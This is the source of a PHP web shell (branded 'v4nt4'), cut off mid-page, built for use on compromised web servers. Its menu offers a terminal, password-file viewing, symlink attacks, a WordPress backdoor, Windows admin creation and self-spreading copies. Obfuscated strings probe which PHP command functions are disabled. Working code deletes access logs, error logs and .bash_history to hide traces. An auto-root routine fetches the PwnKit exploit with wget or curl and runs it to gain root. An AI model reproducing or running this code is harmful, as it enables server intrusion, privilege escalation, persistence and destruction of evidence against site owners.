#c084fc28}.v4nt4-lite-dot{display:inline-block;width:9px;height:9px;border-radius:50%;background:linear-gradient(135deg,var(--accent2) 60%,var(--accent) 100%);margin-right:10px;box-shadow:0 0 8px var(--accent2),0 0 2px #c084fc50}.v4nt4-lite-info{background:var(--card);border-left:3px solid var(--accent2);border-radius:0 9px 9px 9px;margin-bottom:16px;padding:7px 0;display:grid;grid-template-columns:1fr;gap:0;box-shadow:0 1px 10px 0 #a855f710;max-width:100vw}.v4nt4-lite-row{font-size:.94em;color:var(--text-main);padding:8px 22px;border-bottom:1px dashed var(--border);display:flex;align-items:center;gap:14px;min-width:0;overflow:hidden;background:var(--panel);border-radius:5px;transition:background .14s}.v4nt4-lite-row:nth-child(odd){background:var(--card)}.v4nt4-lite-row:hover{background:var(--table-hover)}.v4nt4-lite-key{font-weight:700;color:var(--accent2);min-width:88px;font-size:.94em;letter-spacing:.04em;text-align:right;display:inline-block;opacity:.93}.v4nt4-lite-val{font-family:inherit;padding-left:13px;flex:1 1 0%;overflow:hidden;font-size:.94em;color:var(--accent2);background:#fff1;border-radius:5px;font-weight:900;letter-spacing:.01em}.v4nt4-lite-on{color:var(--success)!important;background:#1f1535!important;border-radius:6px;padding:2px 9px;font-weight:900}.v4nt4-lite-off{color:var(--error)!important;background:#231a1e!important;border-radius:6px;padding:2px 9px;font-weight:900}.v4nt4-lite-breadcrumb{background:var(--card);color:var(--accent2);padding:9px 19px 8px 14px;border-left:3px solid var(--accent);border-radius:0 8px 8px 0;font-size:.99em;margin-bottom:7px;display:flex;gap:3px;flex-wrap:wrap;min-height:11px;box-shadow:0 1px 8px 0 #1a0d2e44}.v4nt4-lite-bc{color:var(--accent);font-weight:700;font-size:.94em;border-radius:7px;background:var(--badge);margin-right:3px;margin-bottom:2px;transition:background .14s,color .13s}.v4nt4-lite-bc:hover{bcolor:#1e1733}@media (max-width:900px){.v4nt4-lite-row,.v4nt4-lite-info{padding:5px 7px;font-size:.98em}.v4nt4-lite-breadcrumb{padding:7px 3px 7px 5px;font-size:.94em}}.v4nt4-filelist-root{border-radius:11px;border:2px solid var(--border);box-shadow:0 3px 22px #a855f712;margin-bottom:22px}.v4nt4-filelist-head,.v4nt4-file-row{display:grid;grid-template-columns:30px 38px 2fr 1fr 1fr 1.6fr 1.2fr;align-items:center;font-size:.94em}.v4nt4-filelist-head{background:#1e1733;color:var(--accent2);border-bottom:2px solid var(--border);min-height:38px;text-transform:lowercase;letter-spacing:.04em;font-weight:900}.v4nt4-file-row{background:var(--card);border-bottom:1px solid var(--border);min-height:38px;transition:background .13s,border .13s}.v4nt4-file-row:hover{background:var(--table-hover);border-left:3px solid var(--accent2);z-index:1}.v4nt4-file-col{padding:8px 7px;display:flex;align-items:center;min-width:0}.v4nt4-file-check input{accent-color:var(--accent2);width:15px;height:15px}.v4nt4-file-icon i{font-size:1.19em;color:var(--accent3)}.v4nt4-file-link{color:var(--accent);font-family:'Recursive',monospace;font-weight:900;white-space:nowrap;overflow:hidden}.v4nt4-file-link:hover{color:var(--accent2)}.v4nt4-file-ext{margin-left:9px;background:#2a1a3a;color:var(--accent2);font-size:.79em;border-radius:6px;padding:1.5px 8px;font-weight:700;letter-spacing:.04em}.v4nt4-file-perm{font-family:'Recursive',monospace;text-align:right;display:inline-flex;align-items:center;font-size:.94em;padding:5px 12px 5px 11px;border-radius:8px;letter-spacing:.04em;gap:7px}.v4nt4-perm-green{color:var(--success)}.v4nt4-perm-red{color:var(--error)}.v4nt4-file-writable{color:var(--success)}.v4nt4-file-readonly{background:#291a1f;color:var(--error);border:1px solid #ff497980}.v4nt4-file-size-badge{display:inline-flex;align-items:center;gap:6px;color:var(--accent);border-radius:7px;padding:5px 13px 5px 10px;font-size:.74em;letter-spacing:.01em;font-weight:700;transition:background .12s,color .12s}.v4nt4-file-actions{display:flex;gap:8px;align-items:center;justify-content:flex-end;width:100%}.v4nt4-file-actions a{display:inline-flex;align-items:center;justify-content:center;background:var(--badge);border-radius:7px;border:1.1px solid var(--border);font-size:.94em;padding:7px 10px;color:var(--accent3);box-shadow:0 1px 9px #a855f710;transition:background .14s,color .13s,box-shadow .12s;font-weight:900}.v4nt4-file-actions a[title=Rename]{color:#c084fc;background:#1e1240;border-color:#a855f730}.v4nt4-file-actions a[title=Chmod]{color:var(--warn);background:#261a30;border-color:#e879f945}.v4nt4-file-actions a[title=Delete]{color:var(--error);background:#3c0014;border-color:#ff497930}.v4nt4-file-actions a[title=Download]{color:var(--success);background:#1e1235;border-color:#b97eff20}.v4nt4-file-actions a:hover{background:var(--accent);color:#1a0d2e;border-color:var(--accent2);box-shadow:0 4px 22px #a855f736}.v4nt4-filelist-foot{display:flex;align-items:center;justify-content:flex-end;gap:13px;padding:11px 19px 8px;border-top:1px solid var(--border);background:var(--card);border-radius:0 0 11px 11px}.v4nt4-filelist-select{background:var(--badge);color:var(--accent2);border:1.1px solid var(--border);border-radius:7px;padding:6px 15px;font-family:inherit;font-size:.91em;outline:0;font-weight:700}.v4nt4-filelist-btn{background:var(--accent);color:#1a0d2e;border:none;padding:8px 24px;border-radius:8px;font-size:.99em;display:flex;align-items:center;gap:7px;font-weight:900;transition:background .13s,color .13s;cursor:pointer}.v4nt4-filelist-btn:hover{background:var(--accent2);color:#1e1733}.vanta-fm-actions{display:flex;gap:10px;align-items:center;flex-wrap:wrap;padding:8px 0 2px;background:var(--panel)}.vanta-fm-btn{display:inline-flex;align-items:center;gap:5px;padding:3.5px 12px;font-size:.94em;margin-right:2px;cursor:pointer;border-radius:8px;border:1.5px solid var(--border);background:var(--badge);color:var(--accent);font-weight:700;transition:background .14s,color .13s,border .13s}.vanta-fm-btn:focus,.vanta-fm-btn:hover{background:var(--accent2);color:#1a0d2e;border-color:var(--accent2)}::-webkit-scrollbar{width:10px;background:#0f0b1a}::-webkit-scrollbar-thumb{background:#a855f7;border-radius:8px}@media (max-width:1050px){.v4nt4-file-row,.v4nt4-filelist-head{grid-template-columns:22px 22px 1.3fr 0.7fr 0.7fr 1.2fr 0.8fr;font-size:.94em}}@media (max-width:900px){.vanta-header,.vanta-header2-bar{flex-direction:column;align-items:flex-start}.vanta-menu-grid{gap:5px}.v4nt4-file-row,.v4nt4-filelist-head{font-size:.94em}.v4nt4-filelist-head,.v4nt4-file-row{padding:6px 3px}}@media (max-width:600px){.v4nt4-lite-row,.v4nt4-lite-info{padding:4px 3px;font-size:.98em}.v4nt4-file-row,.v4nt4-filelist-head{grid-template-columns:14px 15px 1fr 0.5fr 0.6fr 1fr 0.7fr;font-size:.92em}}.v4nt4-badge-danger,.v4nt4-badge-success,.v4nt4-badge-ok,.v4nt4-badge-alert,.v4nt4-lite-badge{padding:2.5px 10px;border-radius:8px;font-size:.93em;font-weight:700;letter-spacing:.01em;display:inline-block}.v4nt4-badge-danger,.v4nt4-badge-alert{background:#2c1025;color:var(--error);border:1px solid #ff497948}.v4nt4-badge-success,.v4nt4-badge-ok{background:#1a1230;color:var(--success);border:1px solid #b97eff55}.v4nt4-lite-badge{background:#1e1530;color:var(--accent2);border:1px solid #c084fc55}.v4nt4-modal-bg,.v4nt4-modal-wizard,.v4nt4-modal-header-wiz,.v4nt4-modal-actions-wiz{z-index:20000}.v4nt4-modal-bg{position:fixed;inset:0;background:rgb(10 7 20 / .91);display:flex;align-items:center;justify-content:center;padding:0}.v4nt4-modal-wizard{background:var(--modal);border-radius:14px;box-shadow:0 14px 64px 0 #a855f725,0 0 0 2px #c084fc18;max-width:560px;min-width:0;width:97vw;border:2px solid var(--accent2);font-family:'Recursive',monospace;display:flex;flex-direction:column;overflow:hidden}.v4nt4-modal-header-wiz{display:flex;align-items:center;gap:15px;border-radius:14px 14px 0 0;padding:16px 20px 9px;background:#130f22;border-bottom:2px solid var(--border);position:relative;min-height:42px}.v4nt4-wiz-icon{background:#3b1f9e;color:#e0aaff;font-size:1.3em;border-radius:10px;width:38px;height:38px;display:flex;align-items:center;justify-content:center;box-shadow:0 1px 8px #a855f718}.v4nt4-wiz-title{font-size:1.08em;color:var(--accent2);font-weight:900;letter-spacing:.05em}.v4nt4-wiz-desc{color:#d4c5ec;font-size:.98em;font-weight:600;opacity:.83;letter-spacing:.01em;max-width:350px;overflow-x:auto}.v4nt4-modal-close-wiz{font-size:1.53em;color:#e0aaff;background:none;border:none;text-decoration:none;line-height:1;padding:0 10px;border-radius:8px;position:absolute;right:12px;top:9px;cursor:pointer;transition:background .13s,color .13s}.v4nt4-modal-close-wiz:hover{background:var(--accent2);color:#1a0d2e}.v4nt4-wiz-section{display:flex;align-items:flex-start;gap:14px;padding:16px 40px 0}.v4nt4-wiz-section-icon{background:#a855f71a;color:var(--accent);font-size:1.18em;border-radius:9px;width:30px;height:30px;display:flex;align-items:center;justify-content:center;margin-top:2px}.v4nt4-wiz-fields{flex:1;display:flex;flex-direction:column;gap:6px}.v4nt4-wiz-input,textarea.v4nt4-wiz-editorarea{border:1.5px solid var(--border);border-radius:7px;outline:0;transition:border .13s,box-shadow .11s;font-size:.94em;padding:9px 12px;font-family:'Recursive',monospace;background:var(--card);color:var(--accent2);font-weight:600}textarea.v4nt4-wiz-editorarea{min-height:170px;resize:vertical}.v4nt4-wiz-editorarea:focus,.v4nt4-wiz-input:focus{border-color:var(--accent2);box-shadow:0 0 0 2px #a855f750}.v4nt4-modal-actions-wiz{display:flex;justify-content:flex-end;gap:12px;border-top:1.4px solid var(--border);padding:13px 18px 10px;background:#1a1230;border-radius:0 0 14px 14px}.v4nt4-wiz-btn{padding:7px 18px;border-radius:7px;font-size:.94em;border:none;cursor:pointer;display:flex;align-items:center;gap:8px;font-family:inherit;outline:0;font-weight:700;letter-spacing:.01em;transition:background .13s,color .13s,border .12s;text-decoration:none}.v4nt4-wiz-btn-red{background:var(--accent);color:#1a0d2e;border:1.3px solid var(--accent2)}.v4nt4-wiz-btn-red:hover{background:var(--accent2);color:#1e1733;border-color:var(--accent2)}.v4nt4-wiz-btn-light{background:var(--card);color:var(--accent2);border:1.2px solid var(--border)}.v4nt4-wiz-btn-light:hover{background:var(--accent2);color:#1a0d2e;border-color:var(--accent2)}@media (max-width:600px){.v4nt4-modal-wizard{max-width:99vw;border-radius:8px}.v4nt4-modal-header-wiz,.v4nt4-modal-actions-wiz,.v4nt4-wiz-section{padding-left:8px;padding-right:8px}}input[type="text"],input[type="number"],input[type="file"],select,textarea{font-family:'Recursive',monospace;background:var(--panel);color:var(--accent2);border:1.4px solid var(--border);border-radius:6px;font-size:.94em;padding:9px 13px;outline:0;font-weight:700;transition:border .13s,box-shadow .11s}input:focus,select:focus,textarea:focus{border-color:var(--accent2);box-shadow:0 0 0 2px #c084fc40}button,input[type="submit"]{background:var(--accent2);color:#1e1733;border:none;border-radius:7px;font-weight:900;padding:10px 22px;font-size:1.04em;letter-spacing:.02em;cursor:pointer;transition:background .13s,color .13s;font-family:'Recursive',monospace}button:hover,input[type="submit"]:hover{background:var(--accent);color:#1e1733}.v4nt4-table-func,.v4nt4-table-net,.v4nt4-table-proc{width:100%;border-collapse:collapse;background:var(--panel);font-size:.98em;font-family:'Recursive',monospace;border-radius:9px;box-shadow:0 2px 10px #a855f711;margin-bottom:13px}.v4nt4-table-func thead th,.v4nt4-table-net thead th,.v4nt4-table-proc thead th{background:#1e1438;color:var(--accent2);font-weight:900;padding:10px 9px;border-bottom:1.5px solid var(--border);text-align:left;font-size:.94em;text-shadow:0 1px 0 #1a0d2e}.v4nt4-table-func tbody td,.v4nt4-table-net tbody td,.v4nt4-table-proc tbody td{padding:10px 9px;border-bottom:1.2px solid #2d1f4a;color:var(--text-main);font-weight:700;background:var(--panel)}.v4nt4-table-func tbody tr:nth-child(odd),.v4nt4-table-net tbody tr:nth-child(odd),.v4nt4-table-proc tbody tr:nth-child(odd){background:#1a1432}.v4nt4-table-func tbody tr:hover,.v4nt4-table-net tbody tr:hover,.v4nt4-table-proc tbody tr:hover{background:var(--table-hover);color:var(--accent2)}.wp_VANTAd00r-main{background:var(--card);border-radius:20px;box-shadow:0 4px 32px #a855f710;max-width:900px;margin:32px auto 40px;padding:29px 18px 19px 24px;font-family:'Recursive',monospace}.wp_VANTAd00r-title{color:var(--accent2);font-size:1.39em;font-weight:900;margin-bottom:7px;display:flex;align-items:center;gap:12px;letter-spacing:.01em;text-shadow:0 0 9px #c084fc60}.wp_VANTAd00r-alert{padding:13px 18px;border-radius:9px;background:#1a122e;color:var(--error);font-weight:900;margin-bottom:18px;box-shadow:0 1px 8px #a855f710;font-size:1.07em}.wp_VANTAd00r-alert.ok{background:#1a1235;color:var(--success);border:1.2px solid #b97eff}.wp_VANTAd00r-btn,.wp_VANTAd00r-btn-blue,.wp_VANTAd00r-btn-green,.wp_VANTAd00r-btn-copy{display:inline-block;padding:4px 14px;margin:2px;border-radius:7px;background:var(--accent2);color:#1e1733;font-size:.94em;font-weight:900;cursor:pointer;transition:background .13s;border:1.1px solid #c084fc44}.wp_VANTAd00r-btn-blue{background:var(--accent);color:#1a0d2e}.wp_VANTAd00r-btn-green{background:var(--success);color:#1e1733}.wp_VANTAd00r-btn-copy{background:var(--panel);color:var(--accent2);border:1.3px solid var(--accent2)}.wp_VANTAd00r-btn-copy:hover{background:var(--accent2);color:#1a0d2e}.wp_VANTAd00r-users table{width:100%;font-size:.99em;border-collapse:collapse;background:var(--card);margin-bottom:13px}.wp_VANTAd00r-users td,.wp_VANTAd00r-users th{padding:7px;border-bottom:1.2px solid #3b2d5a;text-align:left;vertical-align:middle}.wp_VANTAd00r-users th{color:var(--accent2);font-weight:900;background:#17112a}.wp_VANTAd00r-users tr:hover{background:#221840}.wp_VANTAd00r-pw{font-family:'Recursive',monospace;font-size:.96em;color:#c084fc;padding:1px 8px;border-radius:5px;background:#2a1a3a;margin-left:3px}@media (max-width:700px){.v4nt4-file-row,.v4nt4-filelist-head{grid-template-columns:12px 13px 1fr 0.5fr 0.5fr 1fr 0.7fr;font-size:.89em}.v4nt4-lite-row,.v4nt4-lite-info{padding:4px 2px;font-size:.96em}.v4nt4-modal-wizard{max-width:100vw;border-radius:0;left:0;transform:none}.v4nt4-modal-header-wiz,.v4nt4-modal-actions-wiz,.v4nt4-wiz-section{padding-left:6px;padding-right:6px}}.vanta-swal-popup{border-radius:14px!important;box-shadow:0 8px 38px #a855f725,0 0 0 3px #c084fc19;font-family:'Recursive',monospace!important;letter-spacing:.01em;padding-top:26px!important}.vanta-swal-success{border:2.5px solid #a855f799;background:#0f0b1a!important;color:#e0aaff!important}.vanta-swal-error{border:2.5px solid #e5393595;background:#2a0a1a!important;color:#ff4a7a!important}.vantacontainer{max-width:1300px;margin:32px auto;background:#1e1733;border-radius:14px;box-shadow:0 4px 32px #a855f720;padding:32px 24px}.vantaheader{max-width:1300px;margin:32px auto;background:#1e1733;border-radius:14px;box-shadow:0 4px 32px #a855f720;padding:32px 24px}</style>
</head>
<div class="vantaheader">
<div style="background:#111;border:1px solid rgb(130, 0, 170);border-radius:7px;padding:8px 12px;margin-bottom:12px;display:flex;align-items:center;gap:10px;flex-wrap:wrap;">
<form method="post" style="margin:0;">
<input type="hidden" name="action" value="spread">
<button type="submit" style="padding:5px 14px;background:#0f0;color:#000;border:none;border-radius:6px;font-size:12px;font-weight:bold;cursor:pointer;">FAY BDS </button></form><form method="post" style="margin:0;"><input type="hidden" name="action" value="gsocket"><button type="submit" style="padding:5px 14px;background:#c084fc;color:#1a0d2e;border:none;border-radius:6px;font-size:12px;font-weight:bold;cursor:pointer;"><i class="fas fa-network-wired"></i> AUTO GSOCKET</button>
</form>
<span style="color:#555;font-size:11px;">💫 <?= $MAX_SPREAD ?> file | 💥 <?= $SPREAD_DEPTH ?> lvl | 🎉 <?= count($RANDOM_NAMES) ?> var</span>
</div>
<?php if ($spread_result): ?>
<div style="background:#111;border:1px solid rgb(170, 0, 156);border-radius:7px;padding:8px 12px;margin-bottom:12px;font-size:12px;">
<span style="color:#0f0;font-weight:bold;">💫 SPREAD</span>
<span style="color:#888;margin-left:8px;">✅ <?= $spread_result['success'] ?> 💥 <?= $spread_result['already'] ?> ❌ <?= $spread_result['failed'] ?></span>
<?php if (!empty($spread_result['files'])): ?>
<div style="background:#1a1a1a;border-radius:5px;max-height:120px;overflow-y:auto;margin-top:6px;padding:5px 8px;">
<?php foreach ($spread_result['files'] as $i => $url): ?>
<div style="padding:3px 0;border-bottom:1px solid #222;word-break:break-all;"><?= ($i+1) ?>. <a href="<?= $url ?>" target="_blank" style="color:#0f0;font-size:11px;"><?= $url ?></a></div>
<?php endforeach; ?>
</div>
<?php endif; ?>
</div>
<?php endif; ?>
<header class="vanta-header">
<div class="vanta-header2-bar">
</div>
<nav class="vanta-menu">
<ul class="vanta-menu-grid">
<li><a href="?VANTA=<?= vanta_PR1V($VANTAxas[0]()) ?>" class="vanta-chip"><i class="fas fa-home"></i><span>home</span></a></li>
<li><a href="?VANTA=<?= vanta_PR1V($VANTAxas[0]()) ?>&vanta-cmd" class="vanta-chip"><i class="fas fa-terminal"></i><span>terminal</span></a></li>
<li><a href="?VANTA=<?= vanta_PR1V($VANTAxas[0]()) ?>&v4nt4_auto_r00t" class="vanta-chip"><i class="fa-brands fa-linux"></i><span>auto linux root</span></a></li>
<li><a href="?VANTA=<?= vanta_PR1V($VANTAxas[0]()) ?>&winr00t" class="vanta-chip"><i class="fa-brands fa-windows"></i><span>win auto create admin</span></a></li>
<li><a href="?VANTA=<?= vanta_PR1V($VANTAxas[0]()) ?>&multicgi" class="vanta-chip"><i class="fas fa-ghost"></i>create cgi/perl</a></li>
<li><a href="?VANTA=<?= vanta_PR1V($VANTAxas[0]()) ?>&domains" class="vanta-chip"><i class="fas fa-globe"></i> <span>show d0mains</span></a></li>
<li><a href="?VANTA=<?= vanta_PR1V($VANTAxas[0]()) ?>&passwd" class="vanta-chip"><i class="fas fa-key"></i> <span>show passwd</span></a></li>
<li><a href="?VANTA=<?= vanta_PR1V($VANTAxas[0]()) ?>&symlink" class="vanta-chip"><i class="fas fa-link"></i> <span>syml1nk file</span></a></li>
<li><a href="?VANTA=<?= vanta_PR1V($VANTAxas[0]()) ?>&wp_VANTAd00r" class="vanta-chip"><i class="fab fa-wordpress"></i> <span>wordpress sites in ftp</small></span></a></li>
<li><a href="?VANTA=<?= vanta_PR1V($VANTAxas[0]()) ?>&dbmanager" class="vanta-chip"><i class="fas fa-database"></i> <span>db manager</span></a></li>
<li><a href="?VANTA=<?= vanta_PR1V($VANTAxas[0]()) ?>&logcleaner" class="vanta-chip"><i class="fas fa-trash"></i> <span>log cleaner</span></a></li>
<li><a href="?VANTA=<?= vanta_PR1V($VANTAxas[0]()) ?>&adminer" class="vanta-chip"><i class="fas fa-server"></i> <span>download adminer</span></a></li>
</ul>
</nav>
</header>
<?php
function formatMemory($bytes) { if ($bytes === 'N/A') return 'N/A'; $units = ['B', 'KB', 'MB', 'GB', 'TB']; $pow = floor(($bytes ? log($bytes) : 0) / log(1024)); $pow = min($pow, count($units) - 1); $bytes /= pow(1024, $pow); return round($bytes, 2) . ' ' . $units[$pow];}
function g3tdbX() { $d1sxb = ini_get('disable_functions'); if (empty($d1sxb)) { return array(); } return explode(',', $d1sxb);}
$impdBX = array("\145\x78\x65\x63", "\x73\171\163\x74\145\155", "\x73\150\x65\x6c\154\137\145\170\145\x63", "\160\141\163\x73\x74\150\x72\165", "\x70\162\x6f\143\137\157\160\x65\156", "\x70\x6f\160\145\156", "\x63\165\162\154\137\x65\170\145\143", "\x63\x75\x72\154\x5f\x6d\165\154\x74\151\x5f\x65\x78\x65\x63", "\x70\x61\x72\x73\145\x5f\151\156\151\137\x66\151\x6c\145", "\x73\x68\x6f\x77\x5f\163\157\165\162\x63\145", "\x73\x79\155\x6c\151\x6e\153", "\x70\x75\x74\145\156\x76", "\155\141\151\x6c", "\x64\154", "\143\150\155\x6f\x64", "\143\x68\157\x77\x6e", "\143\150\147\x72\160", "\154\151\156\x6b", "\146\163\157\143\x6b\157\x70\x65\156", "\160\146\163\157\143\x6b\157\160\x65\x6e", "\160\x6f\x73\151\170\137\x6b\151\154\154", "\x70\157\163\x69\170\137\155\153\146\x69\x66\x6f", "\160\x6f\163\151\170\137\x73\x65\x74\160\147\x69\144", "\160\157\163\151\170\x5f\163\x65\164\x73\151\x64", "\x70\157\x73\x69\x78\137\163\x65\164\165\151\x64", "\160\x63\x6e\x74\x6c\x5f\145\170\145\143", "\x69\x6d\x61\x70\137\x6f\x70\x65\x6e", "\141\160\141\143\x68\x65\x5f\x73\x65\x74\x65\x6e\166", "\160\x72\x6f\143\x5f\x6e\x69\x63\145", "\160\162\x6f\x63\x5f\164\x65\162\x6d\x69\x6e\x61\164\x65", "\160\162\157\143\x5f\x67\x65\x74\x5f\x73\x74\141\x74\165\163", "\145\x73\143\x61\160\x65\163\150\145\154\x6c\x63\x6d\x64", "\x65\x73\143\141\x70\145\163\x68\x65\154\154\141\x72\147", "\x69\x6e\x69\137\x72\x65\163\x74\157\162\x65", "\163\164\162\145\141\x6d\x5f\x73\157\x63\x6b\145\164\137\x73\x65\162\x76\145\162");
$d1sbfX = g3tdbX(); $d1sxbImportant = array_intersect($impdBX, $d1sbfX); $fn_str_replace = _vnt_str([115,116,114,95,114,101,112,108,97,99,101]); $fn_explode = _vnt_str([101,120,112,108,111,100,101]); $fn_trim = _vnt_str([116,114,105,109]);
?>
<body>
<div class="vantacontainer">
<div class="privcontent flex-1 overflow-auto">
<div class="p-6">
<?php if (isset($_GET['dbmanager'])): ?>
<div class="vanta-cmd-page" style="max-width:1024px;margin:10px auto;">
<div class="vanta-cmd-header" style="display:flex;align-items:center;gap:11px;margin-bottom:15px;">
<div class="vanta-cmd-ico"><i class="fas fa-database"></i></div>
<div class="vanta-cmd-title" style="font-size:1.2em;">v4nt4 MySQL Manager</div>
</div>
<div style="background:var(--card);padding:20px;border-radius:10px;border:1px solid var(--border);">
<form method="POST">
<div style="display:grid;grid-template-columns:1fr 1fr 1fr 1fr;gap:10px;margin-bottom:15px;">
<input type="text" name="db_host" placeholder="Host (e.g. localhost)" value="<?= htmlspecialchars($_POST['db_host'] ?? 'localhost') ?>" required>
<input type="text" name="db_user" placeholder="User" value="<?= htmlspecialchars($_POST['db_user'] ?? '') ?>" required>
<input type="text" name="db_pass" placeholder="Password" value="<?= htmlspecialchars($_POST['db_pass'] ?? '') ?>">
<input type="text" name="db_name" placeholder="Database Name" value="<?= htmlspecialchars($_POST['db_name'] ?? '') ?>" required>
</div>
<textarea name="db_query" placeholder="Enter SQL Query (e.g. SHOW TABLES; or SELECT * FROM users;)" style="width:100%;height:100px;margin-bottom:15px;"><?= htmlspecialchars($_POST['db_query'] ?? 'SHOW TABLES;') ?></textarea>
<button type="submit" name="db_execute" style="width:100%;"><i class="fas fa-bolt"></i> Execute Query</button>
</form>
<?php
if (isset($_POST['db_execute'])) {
echo "<div style='margin-top:20px;'>";
$conn = @mysqli_connect($_POST['db_host'], $_POST['db_user'], $_POST['db_pass'], $_POST['db_name']);
if (!$conn) {
echo "<div class='v4nt4-badge-danger' style='width:100%;text-align:center;'>Connection failed: " . mysqli_connect_error() . "</div>";
} else {
echo "<div class='v4nt4-badge-success' style='margin-bottom:15px;'>Connected successfully to " . htmlspecialchars($_POST['db_name']) . "</div>";
$query = $_POST['db_query'];
if (!empty($query)) {
$result = @mysqli_query($conn, $query);
if (!$result) {
echo "<div class='v4nt4-badge-danger'>Error: " . mysqli_error($conn) . "</div>";
} else {
if (is_bool($result)) {
echo "<div class='v4nt4-badge-success'>Query executed successfully. (Affected rows: " . mysqli_affected_rows($conn) . ")</div>";
} else {
if (mysqli_num_rows($result) > 0) {
echo "<div style='overflow-x:auto;'><table class='v4nt4-table-func' style='margin:0;'>";
$first = true;
while ($row = mysqli_fetch_assoc($result)) {
if ($first) {
echo "<thead><tr>";
foreach ($row as $key => $val) echo "<th>" . htmlspecialchars($key) . "</th>";
echo "</tr></thead><tbody>";
$first = false;
}
echo "<tr>";
foreach ($row as $val) echo "<td>" . htmlspecialchars(substr($val, 0, 100)) . (strlen($val)>100?"...":"") . "</td>";
echo "</tr>";
}
echo "</tbody></table></div>";
} else {
echo "<div class='v4nt4-badge-alert'>0 results returned.</div>";
}
}
}
}
mysqli_close($conn);
}
echo "</div>";
}
?>
</div>
</div>
<?php elseif (isset($_GET['logcleaner'])): ?>
<div class="vanta-cmd-page" style="max-width:800px;margin:10px auto;">
<div class="vanta-cmd-header" style="display:flex;align-items:center;gap:11px;margin-bottom:15px;">
<div class="vanta-cmd-ico"><i class="fas fa-trash"></i></div>
<div class="vanta-cmd-title" style="font-size:1.2em;">v4nt4 System Log Cleaner</div>
</div>
<div style="background:var(--card);padding:20px;border-radius:10px;border:1px solid var(--border);text-align:center;">
<p style="margin-bottom:20px;color:var(--text-dim);">This will attempt to find and delete common system and webserver logs (access.log, error_log, auth.log, etc) recursively from the current directory downwards.</p>
<form method="POST">
<button type="submit" name="clean_logs" style="background:var(--error);color:#fff;font-size:1.1em;padding:12px 30px;"><i class="fas fa-fire"></i> NUKE LOGS NOW</button>
</form>
<?php
if (isset($_POST['clean_logs'])) {
echo "<div style='margin-top:20px;text-align:left;background:var(--panel);padding:15px;border-radius:5px;max-height:300px;overflow-y:auto;'>";
$log_patterns = ['error_log', 'access_log', 'access.log', 'error.log', '*.log', '.bash_history', '.mysql_history', 'auth.log', 'secure'];
$cleaned = 0;
$find_cmd = "find " . escapeshellarg($_SERVER['DOCUMENT_ROOT']) . " -type f \\( -name 'error_log' -o -name 'access.log' -o -name '*.log' -o -name '.bash_history' \\)";
$res = v4nt4C($find_cmd);
if ($res) {
$files = explode("\n", trim($res));
foreach ($files as $f) {
if (!empty($f) && file_exists($f) && is_writable($f)) {
if (@unlink($f)) {
echo "<span style='color:var(--success);'>[DELETE]</span> $f<br>";
$cleaned++;
} else {
if (@file_put_contents($f, '') !== false) {
echo "<span style='color:var(--warn);'>[EMPTIED]</span> $f<br>";
$cleaned++;
} else {
echo "<span style='color:var(--error);'>[FAILED]</span> $f<br>";
}
}
}
}
} else {
foreach ($log_patterns as $p) {
$matches = glob("./**/" . $p);
if ($matches) {
foreach ($matches as $f) {
if (@unlink($f)) {
echo "<span style='color:var(--success);'>[DELETE]</span> $f<br>";
$cleaned++;
} else {
if (@file_put_contents($f, '') !== false) {
echo "<span style='color:var(--warn);'>[EMPTIED]</span> $f<br>";
$cleaned++;
}
}
}
}
}
}
echo "<br><b>Operation completed. Cleaned/emptied $cleaned log files.</b>";
echo "</div>";
}
?>
</div>
</div>
<?php elseif (isset($_GET['v4nt4_auto_r00t'])): ?>
<?php
session_start();
if (!isset($_SESSION['vantash3ll_r00t_status'])) $_SESSION['vantash3ll_r00t_status'] = 'user';
if (!isset($_SESSION['vantash3ll_r00t_log'])) $_SESSION['vantash3ll_r00t_log'] = [];
function vantash3ll_log($msg) {
$_SESSION['vantash3ll_r00t_log'][] = $msg;
if (count($_SESSION['vantash3ll_r00t_log']) > 20) array_shift($_SESSION['vantash3ll_r00t_log']);
}
function vantash3ll_download_pwnkit() {
if (!file_exists('pwnkit')) {
vantash3ll_log("[*] Trying wget for pwnkit...");
$wget = v4nt4C('wget -q -O pwnkit https://github.com/ly4k/PwnKit/raw/main/PwnKit');
clearstatcache();
if (!file_exists('pwnkit') || filesize('pwnkit') < 10000) {
vantash3ll_log("[*] wget failed or file too small. Trying curl...");
$curl = v4nt4C('curl -sL --output pwnkit https://github.com/ly4k/PwnKit/raw/main/PwnKit');
clearstatcache();
if (!file_exists('pwnkit') || filesize('pwnkit') < 10000) {
vantash3ll_log("[!] Both wget and curl failed! No pwnkit.");
return false;
} else {
vantash3ll_log("[+] curl download successful!");
}
} else {
vantash3ll_log("[+] wget download successful!");
}
v4nt4C('chmod +x pwnkit');
vantash3ll_log("[*] chmod +x set for pwnkit.");
return true;
}
return true;
}
function vantash3ll_try_root() {
$_SESSION['vantash3ll_r00t_status'] = 'user';
$_SESSION['vantash3ll_r00t_log'] = [];
vantash3ll_log("[*] [AUTO-ROOT] Detecting current user...");
$id = trim(v4nt4C('id'));
vantash3ll_log("[*] User: $id");
if (strpos($id, 'uid=0(root)') !== false) {
$_SESSION['vantash3ll_r00t_status'] = 'root';
vantash3ll_log("[+] Already ROOT.");
return;
}
if (vantash3ll_download_pwnkit()) {
if (file_exists('pwnkit')) {
vantash3ll_log("[*] Running pwnkit for root session...");
@unlink('.fayshihuang-root');
v4nt4C('./pwnkit "id" > .fayshihuang-root');
usleep(350000);
$res = @file_get_contents('.fayshihuang-root');
if ($res && strpos($res, 'uid=0(root)') !== false) {
$_SESSION['vantash3ll_r00t_status'] = 'root';
vantash3ll_log("[+] r00t success! ($res)");
} else {
vantash3ll_log("[!] r00t fail. ($res)");
}
}
} else {
vantash3ll_log("[!] pwnkit download totally failed.");
}
}
vantash3ll_try_root();
?>
<div class="vanta-cmd-page" style="max-width:1024px;margin:38px auto 0 auto;">
<div class="vanta-cmd-header" style="display:flex;align-items:center;gap:11px;">
<div class="vanta-cmd-ico"><i class="fas fa-terminal"></i></div>
<div>
<div class="vanta-cmd-title" style="font-size:1.2em;">
v4nt4 auto r00t
<?php if ($_SESSION['vantash3ll_r00t_status'] === 'root'): ?>
<span style="background:#279300;color:#fff;border-radius:7px;padding:2px 10px 2px 10px;font-size:.89em;margin-left:15px;">ROOT ACTIVE (uid=0)</span>
<?php else: ?>
<span style="background:#888;color:#fff;border-radius:7px;padding:2px 10px 2px 10px;font-size:.89em;margin-left:15px;">USER MODE</span>
<?php endif; ?>
</div>
</div>
</div>
<div class="vanta-cmd-content" style="margin-top:23px;">
<label class="vanta-cmd-outputlabel" style="margin-top:19px;display:block;">Auto Root Output:</label>
